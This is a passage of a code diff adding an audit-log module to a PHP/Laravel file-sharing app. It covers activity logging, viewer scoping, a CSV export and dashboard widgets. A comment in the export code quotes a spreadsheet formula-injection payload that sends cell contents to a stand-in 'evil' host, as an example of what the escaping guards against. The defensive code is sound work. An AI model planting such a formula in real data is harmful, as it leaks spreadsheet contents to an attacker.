self::UploadAborted => 'An upload was cancelled', + self::CommentPosted => 'A comment was posted on a file', + self::CommentPostedByVisitor => 'A visitor commented on a file', + self::CommentEdited => 'A comment was edited', + self::CommentDeleted => 'A comment was deleted', + self::CommentApproved => 'A comment was approved', + self::FileImported => 'An orphan file was imported', + self::OrphanFileDeleted => 'An orphan file was deleted', + self::OrphanFileAutoDeleted => 'An orphan file was automatically deleted after its retention grace period passed', + self::ExpiredFileDeleted => 'An expired file was automatically deleted after its retention grace period passed', + self::GroupMembershipLeft => 'A client left a group', + self::GroupMembershipRequested => 'A group membership was requested', + self::GroupMembershipApproved => 'A group membership request was approved', + self::GroupMembershipDenied => 'A group membership request was denied', + self::GroupCreated => 'A group was created', + self::GroupUpdated => 'A group was updated', + self::GroupDeleted => 'A group was deleted', + self::GroupMadePublic => 'A group was made public', + self::GroupMadePrivate => 'A group was made private', + self::GroupMemberAdded => 'A client was added to a group', + self::GroupMemberRemoved => 'A client was removed from a group', + self::RoleCreated => 'A role was created', + self::RoleUpdated => 'A role was updated', + self::RoleDeleted => 'A role was deleted', + self::CategoryCreated => 'A category was created', + self::CategoryRenamed => 'A category was renamed', + self::CategoryDeleted => 'A category was deleted', + self::ClientCustomFieldCreated => 'A custom field was created', + self::ClientCustomFieldUpdated => 'A custom field was updated', + self::ClientCustomFieldDeleted => 'A custom field was deleted', + self::ProfileUpdated => 'Profile information was updated', + self::PasswordUpdated => 'The account password was changed', + self::TwoFactorEnabled => 'Two-factor authentication was enabled', + self::TwoFactorDisabled => 'Two-factor authentication was disabled', + self::TwoFactorRecoveryCodesRegenerated => 'Two-factor recovery codes were regenerated', + self::TwoFactorReset => 'Two-factor authentication was removed by an administrator', + self::ApiTokenCreated => 'An API token was created', + self::ApiTokenUpdated => 'An API token was updated', + self::ApiTokenRevoked => 'An API token was revoked', + self::CustomAssetCreated => 'A custom asset was created', + self::CustomAssetUpdated => 'A custom asset was updated', + self::CustomAssetDeleted => 'A custom asset was deleted', + self::CustomAssetEnabled => 'A custom asset was enabled', + self::CustomAssetDisabled => 'A custom asset was disabled', + }; + } +} diff --git a/app/Modules/Audit/ActivityLog.php b/app/Modules/Audit/ActivityLog.php new file mode 100644 index 00000000..8ce633bc --- /dev/null +++ b/app/Modules/Audit/ActivityLog.php @@ -0,0 +1,53 @@ +|null $context + * @property Carbon $created_at + */ +class ActivityLog extends Model +{ + protected $table = 'activity_log'; + + // Log entries are immutable: created_at only, written by the logger. + public $timestamps = false; + + protected $guarded = []; + + protected function casts(): array + { + return [ + 'action' => Action::class, + 'origin' => ActivityOrigin::class, + 'context' => 'json', + 'created_at' => 'datetime', + ]; + } + + /** + * @return MorphTo + */ + public function subject(): MorphTo + { + return $this->morphTo(); + } +} diff --git a/app/Modules/Audit/ActivityLogScope.php b/app/Modules/Audit/ActivityLogScope.php new file mode 100644 index 00000000..31812600 --- /dev/null +++ b/app/Modules/Audit/ActivityLogScope.php @@ -0,0 +1,120 @@ + $query + * @return Builder + */ + public function apply(Builder $query, User $viewer): Builder + { + if (! $viewer->isClientScoped()) { + return $query; + } + + $fileMorph = (new File)->getMorphClass(); + $folderMorph = (new Folder)->getMorphClass(); + $userMorph = (new User)->getMorphClass(); + $clientIds = $this->library->assignableClientIds($viewer) ?? []; + + return $query->where(function (Builder $outer) use ($viewer, $fileMorph, $folderMorph, $userMorph, $clientIds): void { + $outer->where('actor_id', $viewer->id); + + $outer->orWhere(fn (Builder $files) => $files + ->where('subject_type', $fileMorph) + ->whereIn('subject_id', $this->library->files($viewer)->select('id'))); + + $outer->orWhere(fn (Builder $folders) => $folders + ->where('subject_type', $folderMorph) + ->whereIn('subject_id', $this->library->folders($viewer)->select('id'))); + + if ($clientIds !== []) { + $outer->orWhere(fn (Builder $users) => $users + ->where('subject_type', $userMorph) + ->whereIn('subject_id', $clientIds)); + } + }); + } + + /** + * File ids from $ids the viewer may actually open — used to decide + * whether a row links anywhere. Permission alone was the old test, + * which produced links to files the viewer would get a 403 on. + * + * @param iterable $ids + * @return array keyed by id; presence is the answer + */ + public function openableFileIds(User $viewer, iterable $ids): array + { + $ids = collect($ids)->filter()->unique(); + + if ($ids->isEmpty()) { + return []; + } + + return $this->library->files($viewer) + ->whereIn('id', $ids) + ->pluck('id') + ->mapWithKeys(fn ($id): array => [(int) $id => true]) + ->all(); + } + + /** + * @param iterable $ids + * @return array keyed by id; presence is the answer + */ + public function openableFolderIds(User $viewer, iterable $ids): array + { + $ids = collect($ids)->filter()->unique(); + + if ($ids->isEmpty()) { + return []; + } + + return $this->library->folders($viewer) + ->whereIn('id', $ids) + ->pluck('id') + ->mapWithKeys(fn ($id): array => [(int) $id => true]) + ->all(); + } +} diff --git a/app/Modules/Audit/ActivityLogger.php b/app/Modules/Audit/ActivityLogger.php new file mode 100644 index 00000000..f08d8b5d --- /dev/null +++ b/app/Modules/Audit/ActivityLogger.php @@ -0,0 +1,139 @@ + $context + */ + public function log(Action $action, ?User $actor = null, ?Model $subject = null, array $context = []): void + { + $user = $actor ?? Auth::user(); + + // How the action arrived is resolved here rather than at each call + // site: the API reuses the same controllers and services the UI does + // (FileDownloadController and StoreUploadedFile are both shared + // verbatim), so asking every caller to remember would guarantee + // gaps. Reading the current request's credential is the same kind of + // implicit lookup this class already does for the actor and the IP. + $token = $user?->currentAccessToken(); + + ActivityLog::query()->create([ + 'actor_id' => $user?->getKey(), + 'actor_name' => $user?->name, + 'actor_type' => $user?->type->value, + 'origin' => $this->originFor($user, $token), + 'api_token_id' => $token?->getKey(), + // Snapshotted beside the id for the same reason actor_name is: + // a revoked token must not leave its entries pointing at nothing. + 'api_token_name' => $token?->getAttribute('name'), + 'action' => $action, + 'subject_type' => $subject?->getMorphClass(), + 'subject_id' => $subject?->getKey(), + 'subject_name' => $this->subjectName($subject), + 'context' => $context === [] ? null : $context, + 'ip_address' => $this->shouldRecordIp($action, $user) ? request()->ip() : null, + 'created_at' => now(), + ]); + } + + /** + * Setting::DownloadIpLogging governs download-shaped entries and + * file previews alike — both are ways of viewing a file's contents, + * so previews would otherwise leak IPs through a privacy setting a + * client believes covers "viewing my files." A security audit trail + * (staff actions, logins, …) always records IP regardless, since + * that's an operational concern, not a client-privacy one. + */ + /** + * A token means the API; an actor without one means a browser session. + * No actor at all is either a console command or a request from + * somebody not signed in — and those are not the same thing, so + * something has to tell them apart rather than both landing on System. + * (Scheduled tasks do not reach here at all: they call logSystem(), + * which sets System outright.) + * + * That something is a matched route, not App::runningInConsole(): + * the whole test suite runs in console, so the console check would + * classify every HTTP test as System and quietly make this + * untestable — the failure mode being that it looks right in + * production and nothing proves it. A console command and a queued job + * have no route; a request does. + */ + private function originFor(?User $actor, mixed $token): ActivityOrigin + { + if ($token !== null) { + return ActivityOrigin::Api; + } + + if ($actor !== null) { + return ActivityOrigin::Ui; + } + + return request()->route() === null ? ActivityOrigin::System : ActivityOrigin::Public; + } + + private function shouldRecordIp(Action $action, ?User $actor): bool + { + if (! in_array($action, [Action::FileDownloaded, Action::FilePreviewed, Action::ShareLinkDownloaded, Action::PublicFileDownloaded], true)) { + return true; + } + + return match ($this->settings->get(Setting::DownloadIpLogging)) { + 'none' => false, + 'anonymous_only' => $actor === null, + default => true, + }; + } + + /** + * Record an action as the system itself, never attributing the + * authenticated user (compliance jobs, scheduled work). + * + * @param array $context + */ + public function logSystem(Action $action, array $context = []): void + { + ActivityLog::query()->create([ + 'actor_id' => null, + 'actor_name' => null, + 'actor_type' => null, + 'origin' => ActivityOrigin::System, + 'action' => $action, + 'subject_type' => null, + 'subject_id' => null, + 'subject_name' => null, + 'context' => $context === [] ? null : $context, + 'created_at' => now(), + ]); + } + + private function subjectName(?Model $subject): ?string + { + if ($subject === null) { + return null; + } + + $name = $subject->getAttribute('name') ?? $subject->getAttribute('title'); + + return is_string($name) ? $name : null; + } +} diff --git a/app/Modules/Audit/ActivityOrigin.php b/app/Modules/Audit/ActivityOrigin.php new file mode 100644 index 00000000..63b3dfd9 --- /dev/null +++ b/app/Modules/Audit/ActivityOrigin.php @@ -0,0 +1,53 @@ + 'Web UI', + self::Api => 'API', + self::Public => 'Not signed in', + self::System => 'System', + }; + } +} diff --git a/app/Modules/Audit/ActivityPresenter.php b/app/Modules/Audit/ActivityPresenter.php new file mode 100644 index 00000000..c539bce3 --- /dev/null +++ b/app/Modules/Audit/ActivityPresenter.php @@ -0,0 +1,38 @@ + + */ + public function present(ActivityLog $entry): array + { + return [ + 'id' => $entry->id, + 'created_at' => $entry->created_at->toIso8601String(), + 'actor_name' => $entry->actor_name, + 'actor_type' => $entry->actor_type, + // Needed to render an actorless entry: "System" and "Anonymous" + // are both actor_name null, and only the origin separates them. + 'origin' => $entry->origin->value, + 'template' => $entry->action->template(), + 'replacements' => [ + 'subject' => $entry->subject_name + ?? ($entry->subject_id !== null ? __('(deleted account)') : ''), + ...collect($entry->context ?? []) + ->filter(fn ($value): bool => is_scalar($value)) + ->map(fn ($value): string => (string) $value) + ->all(), + ], + ]; + } +} diff --git a/app/Modules/Audit/AuditServiceProvider.php b/app/Modules/Audit/AuditServiceProvider.php new file mode 100644 index 00000000..d8327433 --- /dev/null +++ b/app/Modules/Audit/AuditServiceProvider.php @@ -0,0 +1,24 @@ +app->singleton(ActivityLogger::class); + } + + public function boot(): void + { + Event::subscribe(LogAuthenticationActivity::class); + Event::subscribe(LogCustomAssetActivity::class); + } +} diff --git a/app/Modules/Audit/DashboardWidgetPreferences.php b/app/Modules/Audit/DashboardWidgetPreferences.php new file mode 100644 index 00000000..a6a49ac7 --- /dev/null +++ b/app/Modules/Audit/DashboardWidgetPreferences.php @@ -0,0 +1,83 @@ + + */ + private const DEFAULT_LAYOUT = [ + 'counters' => [0, 0], + 'transfers' => [0, 1], + 'recent' => [0, 2], + 'top_clients_by_storage' => [1, 0], + 'largest_files' => [1, 1], + 'system' => [1, 2], + 'news' => [1, 3], + 'expired_files' => [0, 3], + 'api' => [1, 4], + ]; + + public function isEnabled(User $user, string $widgetKey): bool + { + $row = DashboardWidgetPreference::query() + ->where('user_id', $user->id) + ->where('widget_key', $widgetKey) + ->first(); + + return $row->enabled ?? true; + } + + public function columnsFor(User $user): int + { + return $user->dashboard_columns ?? self::DEFAULT_COLUMNS; + } + + /** + * @param list $permittedKeys Only widget keys the viewer + * actually holds permission for + * — never reveal the layout of + * one they can't see at all. + * @return array + */ + public function layoutFor(User $user, array $permittedKeys): array + { + $rows = DashboardWidgetPreference::query() + ->where('user_id', $user->id) + ->whereIn('widget_key', $permittedKeys) + ->get() + ->keyBy('widget_key'); + + $layout = []; + + foreach ($permittedKeys as $key) { + $row = $rows->get($key); + [$defaultColumn, $defaultPosition] = self::DEFAULT_LAYOUT[$key] ?? [0, 0]; + + $layout[$key] = [ + 'enabled' => $row->enabled ?? true, + 'column_index' => $row->column_index ?? $defaultColumn, + 'position' => $row->position ?? $defaultPosition, + ]; + } + + return $layout; + } +} diff --git a/app/Modules/Audit/DownloadPresenter.php b/app/Modules/Audit/DownloadPresenter.php new file mode 100644 index 00000000..f44cd401 --- /dev/null +++ b/app/Modules/Audit/DownloadPresenter.php @@ -0,0 +1,34 @@ +action, [Action::ShareLinkDownloaded, Action::PublicFileDownloaded], true); + + return [ + 'id' => $entry->id, + 'created_at' => $entry->created_at->toIso8601String(), + 'actor_name' => match ($entry->action) { + Action::ShareLinkDownloaded => __('Public link'), + Action::PublicFileDownloaded => __('Public listing'), + default => $entry->actor_name ?? __('(deleted account)'), + }, + 'actor_type' => $isPublic ? null : $entry->actor_type, + 'ip_address' => $entry->ip_address, + ]; + } +} diff --git a/app/Modules/Audit/Http/Controllers/ActivityLogController.php b/app/Modules/Audit/Http/Controllers/ActivityLogController.php new file mode 100644 index 00000000..c596acc3 --- /dev/null +++ b/app/Modules/Audit/Http/Controllers/ActivityLogController.php @@ -0,0 +1,307 @@ +validatedFilters($request); + + $viewer = $request->user(); + assert($viewer !== null); + + $entries = $this->filteredQuery($filters, $viewer) + ->paginate(25) + ->withQueryString(); + + $links = $this->linkResolver($entries->getCollection(), $viewer); + + return Inertia::render('activity/index', [ + 'entries' => $entries->getCollection()->map(fn (ActivityLog $entry): array => [ + 'id' => $entry->id, + 'created_at' => $entry->created_at->toIso8601String(), + 'actor_name' => $entry->actor_name, + 'actor_type' => $entry->actor_type, + 'origin' => $entry->origin->value, + 'origin_label' => $entry->origin->label(), + 'api_token_name' => $entry->api_token_name, + 'action' => $entry->action->value, + 'template' => $entry->action->template(), + 'replacements' => $this->replacements($entry), + 'actor_url' => $links($entry->actor_id, User::class), + 'subject_url' => $links($entry->subject_id, $entry->subject_type), + ])->all(), + 'pagination' => [ + 'page' => $entries->currentPage(), + 'last_page' => $entries->lastPage(), + 'prev' => $entries->previousPageUrl(), + 'next' => $entries->nextPageUrl(), + 'total' => $entries->total(), + ], + 'filters' => $filters, + 'actions' => array_map(fn (Action $action): array => [ + 'key' => $action->value, + 'description' => $action->description(), + ], Action::cases()), + 'origins' => array_map(fn (ActivityOrigin $origin): array => [ + 'key' => $origin->value, + 'label' => $origin->label(), + ], ActivityOrigin::cases()), + ]); + } + + /** + * Streamed CSV export honoring the same filters as the list. + */ + public function export(Request $request): StreamedResponse + { + $filters = $this->validatedFilters($request); + + $viewer = $request->user(); + assert($viewer !== null); + + // Both the filename and every row are stamped in the exporter's + // own zone, so a file named for "today" holds the rows the screen + // showed under that same word. + $timezone = $this->timezones->resolve($viewer); + + $filename = 'activity-log-'.now()->setTimezone($timezone)->format('Y-m-d').'.csv'; + + return response()->streamDownload(function () use ($filters, $viewer, $timezone): void { + $out = fopen('php://output', 'w'); + assert($out !== false); + + fputcsv($out, ['Date', 'Account', 'Account type', 'Origin', 'API token', 'Action', 'Description', 'Subject', 'Details']); + + foreach ($this->filteredQuery($filters, $viewer)->lazy() as $entry) { + fputcsv($out, array_map($this->csvSafe(...), [ + // Kept as ISO 8601 — a spreadsheet parses it and the + // offset makes the zone self-describing, so the column + // stays unambiguous once it leaves the app. + $entry->created_at->setTimezone($timezone)->toIso8601String(), + $entry->actor_name ?? 'System', + $entry->actor_type ?? 'system', + $entry->origin->label(), + $entry->api_token_name ?? '', + $entry->action->value, + __($entry->action->template(), $this->replacements($entry)), + $entry->subject_name, + $entry->context === null ? '' : json_encode($entry->context), + ])); + } + + fclose($out); + }, $filename, ['Content-Type' => 'text/csv']); + } + + /** + * Neutralize spreadsheet formula injection. Half the columns here carry + * names the subject chose themselves — a self-registering client picks + * their own, and it lands in `actor_name` — so a value like + * `=HYPERLINK("http://evil/?"&A1,"x")` would execute when an admin opens + * the export. Excel/Sheets/LibreOffice all treat a leading =, +, -, @, + * tab or CR as the start of a formula; prefixing with an apostrophe + * makes the cell literal text while still displaying the value. + */ + private function csvSafe(mixed $value): string + { + $value = is_scalar($value) ? (string) $value : ''; + + return preg_match('/^[=+\-@\t\r]/', $value) === 1 ? "'".$value : $value; + } + + /** + * Builds a resolver mapping (id, morph class) to the edit URL of a + * still-existing object — only when the viewer is allowed to open + * it. Lookups are batched for the current page. + * + * @param Collection $entries + * @return callable(int|null, string|null): ?string + */ + private function linkResolver(Collection $entries, User $viewer): callable + { + $userIds = $entries->pluck('actor_id') + ->merge($entries->where('subject_type', User::class)->pluck('subject_id')) + ->filter() + ->unique(); + + $roleIds = $entries->where('subject_type', Role::class)->pluck('subject_id')->filter()->unique(); + $groupIds = $entries->where('subject_type', Group::class)->pluck('subject_id')->filter()->unique(); + $fileIds = $entries->where('subject_type', File::class)->pluck('subject_id')->filter()->unique(); + $folderIds = $entries->where('subject_type', Folder::class)->pluck('subject_id')->filter()->unique(); + + /** @var array $users */ + $users = $userIds->isEmpty() + ? [] + : User::query()->whereIn('id', $userIds)->pluck('type', 'id')->all(); + + /** @var array $roles */ + $roles = $roleIds->isEmpty() + ? [] + : Role::query()->whereIn('id', $roleIds)->pluck('id')->mapWithKeys(fn ($id) => [(int) $id => true])->all(); + + /** @var array $groups */ + $groups = $groupIds->isEmpty() + ? [] + : Group::query()->whereIn('id', $groupIds)->pluck('id')->mapWithKeys(fn ($id) => [(int) $id => true])->all(); + + // Resolved through the viewer's library scope, not a bare existence + // check: permission alone said "this viewer may open files", which + // for a client-scoped viewer produced links to files they would get + // a 403 on. + $files = $this->scope->openableFileIds($viewer, $fileIds); + $folders = $this->scope->openableFolderIds($viewer, $folderIds); + + $staffModule = $this->capabilities->has(Capability::UsersManage) && $viewer->can('manage_users'); + $canStaff = $staffModule && $viewer->can('edit_users'); + $canClients = $viewer->can('edit_clients'); + $canGroups = $viewer->can('edit_groups'); + $canFiles = $viewer->can('upload') || $viewer->can('edit_files') || $viewer->can('edit_others_files'); + + return function (?int $id, ?string $morphClass) use ($users, $roles, $groups, $files, $folders, $canStaff, $canClients, $canGroups, $canFiles, $staffModule): ?string { + if ($id === null) { + return null; + } + + if ($morphClass === User::class && isset($users[$id])) { + return match (true) { + $users[$id] === UserType::Staff && $canStaff => route('users.edit', $id, false), + $users[$id] === UserType::Client && $canClients => route('clients.edit', $id, false), + default => null, + }; + } + + if ($morphClass === Role::class && isset($roles[$id]) && $staffModule) { + return route('roles.edit', $id, false); + } + + if ($morphClass === Group::class && isset($groups[$id]) && $canGroups) { + return route('groups.edit', $id, false); + } + + if ($morphClass === File::class && isset($files[$id]) && $canFiles) { + return route('files.edit', $id, false); + } + + if ($morphClass === Folder::class && isset($folders[$id]) && $canFiles) { + return route('files.index', ['folder' => $id], false); + } + + return null; + }; + } + + /** + * Placeholder values for the entry's sentence template: the subject + * name plus any scalar context values. + * + * @return array + */ + private function replacements(ActivityLog $entry): array + { + $replacements = [ + 'subject' => $entry->subject_name + ?? ($entry->subject_id !== null ? __('(deleted account)') : ''), + ]; + + foreach ($entry->context ?? [] as $key => $value) { + if (is_scalar($value)) { + $replacements[$key] = (string) $value; + } + } + + return $replacements; + } + + /** + * @return array{action: ?string, actor_type: ?string, origin: ?string, api_token: ?string, actor: ?string, from: ?string, to: ?string} + */ + private function validatedFilters(Request $request): array + { + $validated = $request->validate([ + 'action' => ['nullable', Rule::enum(Action::class)], + 'actor_type' => ['nullable', Rule::in(['staff', 'client', 'system'])], + 'origin' => ['nullable', Rule::enum(ActivityOrigin::class)], + 'api_token' => ['nullable', 'string', 'max:255'], + 'actor' => ['nullable', 'string', 'max:255'], + 'from' => ['nullable', 'date'], + 'to' => ['nullable', 'date', 'after_or_equal:from'], + ]); + + return [ + 'action' => $validated['action'] ?? null, + 'actor_type' => $validated['actor_type'] ?? null, + 'origin' => $validated['origin'] ?? null, + 'api_token' => $validated['api_token'] ?? null, + 'actor' => $validated['actor'] ?? null, + 'from' => $validated['from'] ?? null, + 'to' => $validated['to'] ?? null, + ]; + } + + /** + * @param array{action: ?string, actor_type: ?string, origin: ?string, api_token: ?string, actor: ?string, from: ?string, to: ?string} $filters + * @return Builder + */ + private function filteredQuery(array $filters, User $viewer): Builder + { + $timezone = $this->timezones->resolve($viewer); + + return $this->scope->apply(ActivityLog::query(), $viewer) + ->when($filters['action'], fn (Builder $query, string $action) => $query->where('action', $action)) + ->when($filters['origin'], fn (Builder $query, string $origin) => $query->where('origin', $origin)) + // Matched on the snapshotted name rather than the id, so a + // revoked token's history stays reachable — which is exactly + // when someone follows this link. + ->when($filters['api_token'], fn (Builder $query, string $token) => $query->where('api_token_name', $token)) + ->when($filters['actor_type'], fn (Builder $query, string $type) => $type === 'system' + ? $query->whereNull('actor_type') + : $query->where('actor_type', $type)) + ->when($filters['actor'], fn (Builder $query, string $actor) => $query->where('actor_name', 'like', "%{$actor}%")) + // Bounded by the viewer's own day rather than the UTC one — + // see LocalDay for why whereDate() cannot do this. + ->when( + $filters['from'] !== null ? LocalDay::start($filters['from'], $timezone) : null, + fn (Builder $query, Carbon $from) => $query->where('created_at', '>=', $from), + ) + ->when( + $filters['to'] !== null ? LocalDay::end($filters['to'], $timezone) : null, + fn (Builder $query, Carbon $to) => $query->where('created_at', '<=', $to), + ) + ->orderByDesc('created_at') + ->orderByDesc('id'); + } +} diff --git a/app/Modules/Audit/Http/Controllers/DashboardController.php b/app/Modules/Audit/Http/Controllers/DashboardController.php new file mode 100644 index 00000000..31430441 --- /dev/null +++ b/app/Modules/Audit/Http/Controllers/DashboardController.php @@ -0,0 +1,479 @@ +user(); + assert($user !== null); + + if ($user->isClient()) { + return $this->clientDashboard($user); + } + + $timezone = $this->timezones->resolve($user); + + [$from, $to, $preset] = $this->resolveTransferRange($request, $timezone); + + $canCounters = $user->can('view_dashboard_counters'); + $canStatistics = $user->can('view_statistics'); + $canActionsLog = $user->can('view_actions_log'); + $canSystem = $user->can('view_system_info') && $this->capabilities->has(Capability::SystemUpdates); + $canNews = $user->can('view_news'); + $canExpiredFiles = $user->can('view_statistics'); + + $prefs = $this->widgetPrefs; + + return Inertia::render('dashboard', [ + 'counters' => $canCounters && $prefs->isEnabled($user, 'counters') ? $this->counters() : null, + 'transfers' => $canStatistics && $prefs->isEnabled($user, 'transfers') ? $this->transferSeries($from, $to, $timezone) : null, + 'transfers_range' => $canStatistics && $prefs->isEnabled($user, 'transfers') + ? ['preset' => $preset, 'from' => $from->toDateString(), 'to' => $to->toDateString()] + : null, + 'top_clients_by_storage' => $canStatistics && $prefs->isEnabled($user, 'top_clients_by_storage') + ? $this->topClientsByStorage() + : null, + 'largest_files' => $canStatistics && $prefs->isEnabled($user, 'largest_files') ? $this->largestFiles($user) : null, + 'recent' => $canActionsLog && $prefs->isEnabled($user, 'recent') ? $this->recentActivity() : null, + 'system' => $canSystem && $prefs->isEnabled($user, 'system') ? $this->systemInfo() : null, + // Both editions — informational content, not an update action, + // so no Capability check alongside the permission (unlike + // 'system' above). + 'news' => $canNews && $prefs->isEnabled($user, 'news') ? $this->newsItems->current() : null, + 'expired_files' => $canExpiredFiles && $prefs->isEnabled($user, 'expired_files') ? $this->expiredFiles($user) : null, + // Not permission-gated: every staff member has tokens to look + // after, and it scopes itself to the viewer's own — the same + // rule the API dashboard applies. + 'api' => $prefs->isEnabled($user, 'api') ? $this->apiUsage($user) : null, + + // The layout is filtered to only the keys this viewer holds + // permission for — never reveal a permission-hidden widget's + // existence to the Widgets modal, same "don't tease + // unavailable features" convention as EnsureCapability's 404. + 'widget_layout' => $prefs->layoutFor($user, $this->permittedWidgetKeys([ + 'counters' => $canCounters, + 'transfers' => $canStatistics, + 'top_clients_by_storage' => $canStatistics, + 'largest_files' => $canStatistics, + 'recent' => $canActionsLog, + 'system' => $canSystem, + 'news' => $canNews, + 'expired_files' => $canExpiredFiles, + 'api' => true, + ])), + 'dashboard_columns' => $prefs->columnsFor($user), + ]); + } + + /** + * A glance at the viewer's own API usage, with the detail a click away + * on the API dashboard. + * + * @return array + */ + private function apiUsage(User $user): array + { + return [ + 'requests_7d' => $this->apiUsage->requestsSince($user, false, now()->subDays(7)), + 'tokens' => $user->tokens()->count(), + 'expired_tokens' => $user->tokens()->whereNotNull('expires_at')->where('expires_at', '<', now())->count(), + 'last_used_at' => $user->tokens()->max('last_used_at'), + ]; + } + + /** + * @param array $permissions + * @return list + */ + private function permittedWidgetKeys(array $permissions): array + { + return array_keys(array_filter($permissions)); + } + + /** + * Reads the Transfers widget's date-range controls off the query + * string (?range=last_week|last_month|previous_month|custom, plus + * ?from=&to= for custom). Defaults to last_month — the same rolling + * 30-day window the widget always showed before the selector existed. + * + * Every boundary is built in the viewer's zone, so "last week" ends + * when their evening does and not at whatever hour UTC midnight falls + * on for them. The returned instants are still absolute — only the + * day edges moved — so they compare against the UTC column directly. + * + * @return array{0: Carbon, 1: Carbon, 2: string} + */ + private function resolveTransferRange(Request $request, string $timezone): array + { + $preset = $request->query('range'); + $now = fn (): Carbon => now()->setTimezone($timezone); + + return match ($preset) { + 'last_week' => [$now()->subDays(6)->startOfDay(), $now()->endOfDay(), 'last_week'], + 'previous_month' => (function () use ($now): array { + $previousMonth = $now()->subMonth(); + + return [$previousMonth->copy()->startOfMonth(), $previousMonth->copy()->endOfMonth(), 'previous_month']; + })(), + 'custom' => $this->resolveCustomTransferRange($request, $timezone), + default => [$now()->subDays(29)->startOfDay(), $now()->endOfDay(), 'last_month'], + }; + } + + /** + * @return array{0: Carbon, 1: Carbon, 2: string} + */ + private function resolveCustomTransferRange(Request $request, string $timezone): array + { + $now = fn (): Carbon => now()->setTimezone($timezone); + + try { + $from = $request->query('from') !== null ? Carbon::parse($request->query('from'), $timezone)->startOfDay() : null; + $to = $request->query('to') !== null ? Carbon::parse($request->query('to'), $timezone)->endOfDay() : null; + } catch (\Throwable) { + return [$now()->subDays(29)->startOfDay(), $now()->endOfDay(), 'last_month']; + } + + $from ??= $now()->subDays(29)->startOfDay(); + $to ??= $now()->endOfDay(); + + if ($from->gt($to)) { + [$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()]; + } + + // A year is plenty for a "custom range" on a daily-granularity + // chart — anything longer just clips to the most recent year + // rather than rendering an unreadable multi-year line. + if ($from->diffInDays($to) > 366) { + $from = $to->copy()->subDays(366)->startOfDay(); + } + + return [$from, $to, 'custom']; + } + + /** + * @return array + */ + private function counters(): array + { + return [ + 'files' => File::query()->count(), + 'files_bytes' => (int) File::query()->sum('size'), + 'clients' => User::query()->where('type', UserType::Client)->count(), + 'groups' => Group::query()->count(), + 'users' => User::query()->where('type', UserType::Staff)->count(), + ]; + } + + /** + * Uploads vs downloads per day across the given range, zero-filled. + * Downloads split into "by clients" and "anonymous" — anonymous + * covers unauthenticated share-link/public-listing downloads, the + * traffic an admin has no other visibility into. Staff downloads + * (an admin grabbing a file to check it) count toward neither + * bucket; they're not the audience-facing traffic this chart tracks. + * + * @return list + */ + private function transferSeries(Carbon $from, Carbon $to, string $timezone): array + { + // Two forms of the same set: string values for the SQL whereIn, + // enum cases for filtering the already-cast `action` attribute + // once loaded — ActivityLog::casts() turns it into an Action + // instance, which a raw string never loosely equals. + $downloadActions = [Action::FileDownloaded, Action::ShareLinkDownloaded, Action::PublicFileDownloaded]; + + $rows = ActivityLog::query() + ->whereIn('action', [Action::FileUploaded->value, ...array_map(fn (Action $a): string => $a->value, $downloadActions)]) + ->whereBetween('created_at', [$from, $to]) + ->get(['action', 'actor_type', 'created_at']) + // Bucketed by the viewer's calendar day. Grouping on the UTC + // one puts an evening upload from anywhere west of Greenwich + // on tomorrow's bar, which the person who made it reads as + // the chart being a day out. + ->groupBy(fn (ActivityLog $entry): string => $entry->created_at->copy()->setTimezone($timezone)->format('Y-m-d')); + + $series = []; + // $from and $to already carry the viewer's zone (see + // resolveTransferRange), so these day keys line up with the + // grouping above. + $cursor = $from->copy()->startOfDay(); + $lastDay = $to->copy()->startOfDay(); + + while ($cursor->lte($lastDay)) { + $date = $cursor->format('Y-m-d'); + $entries = $rows->get($date, collect()); + $downloads = $entries->whereIn('action', $downloadActions); + + $series[] = [ + 'date' => $date, + 'uploads' => $entries->where('action', Action::FileUploaded)->count(), + 'downloads_clients' => $downloads->where('actor_type', UserType::Client->value)->count(), + 'downloads_anonymous' => $downloads->whereNull('actor_type')->count(), + ]; + + $cursor->addDay(); + } + + return $series; + } + + /** + * The 5 clients using the most storage, each against their own + * effective quota (own override, or the site default — see + * ClientStorageUsage::quotaMb()) so the widget reads the same way + * the client-facing usage box does. + * + * @return list + */ + private function topClientsByStorage(): array + { + $rows = File::query() + ->select('uploaded_by', DB::raw('SUM(size) as total_bytes')) + ->whereHas('uploader', fn ($query) => $query->where('type', UserType::Client)) + ->groupBy('uploaded_by') + ->orderByDesc('total_bytes') + ->limit(5) + ->get(); + + if ($rows->isEmpty()) { + return []; + } + + $clients = User::query()->whereIn('id', $rows->pluck('uploaded_by'))->get()->keyBy('id'); + + $result = []; + + foreach ($rows as $row) { + $client = $clients->get($row->uploaded_by); + + if ($client === null) { + continue; + } + + $result[] = [ + 'id' => (int) $row->uploaded_by, + 'name' => $client->name, + 'used_bytes' => (int) $row->getAttribute('total_bytes'), + 'quota_mb' => $this->storageUsage->quotaMb($client), + ]; + } + + return $result; + } + + /** + * The 10 largest individual files on the installation, regardless of + * uploader — catches a single space hog that per-client aggregates + * (topClientsByStorage()) can't surface on their own. + * + * Edit/download/uploader links are coarse-gated on the viewer's own + * permissions only (same level of precision ActivityLogController's + * own link resolver uses) — not a per-file StaffLibraryScope check, + * so a client-scoped staff member could still see a link here that + * 403s if clicked. Accepted, matching existing precedent, rather + * than adding per-row scope checks to a 10-row dashboard widget. + * + * @return list + */ + private function largestFiles(User $viewer): array + { + // FilePolicy::view() — the ability both files.edit and + // files.download authorize against — requires one of these for + // staff. Client-facing files never appear here as an uploader + // (clients don't have "view" gated the same way), so this is the + // one check both links share. + $canFiles = $viewer->can('upload') || $viewer->can('edit_files') || $viewer->can('edit_others_files'); + $canClients = $viewer->can('edit_clients'); + $staffModule = $this->capabilities->has(Capability::UsersManage) && $viewer->can('manage_users'); + $canStaffUsers = $staffModule && $viewer->can('edit_users'); + + return array_values(File::query() + ->with('uploader:id,name,type') + ->orderByDesc('size') + ->limit(10) + ->get(['id', 'name', 'size', 'uploaded_by', 'created_at']) + ->map(function (File $file) use ($canFiles, $canClients, $canStaffUsers): array { + $uploader = $file->uploader; // uploaded_by is nullOnDelete — may be gone. + + return [ + 'id' => $file->id, + 'name' => $file->name, + 'size' => $file->size, + 'uploader_name' => $uploader?->name, + 'created_at' => $file->created_at?->toIso8601String() ?? '', + 'edit_url' => $canFiles ? route('files.edit', $file->id, false) : null, + 'download_url' => $canFiles ? route('files.download', $file->id, false) : null, + 'uploader_edit_url' => match (true) { + $uploader === null => null, + $uploader->type === UserType::Client && $canClients => route('clients.edit', $uploader->id, false), + $uploader->type === UserType::Staff && $canStaffUsers => route('users.edit', $uploader->id, false), + default => null, + }, + 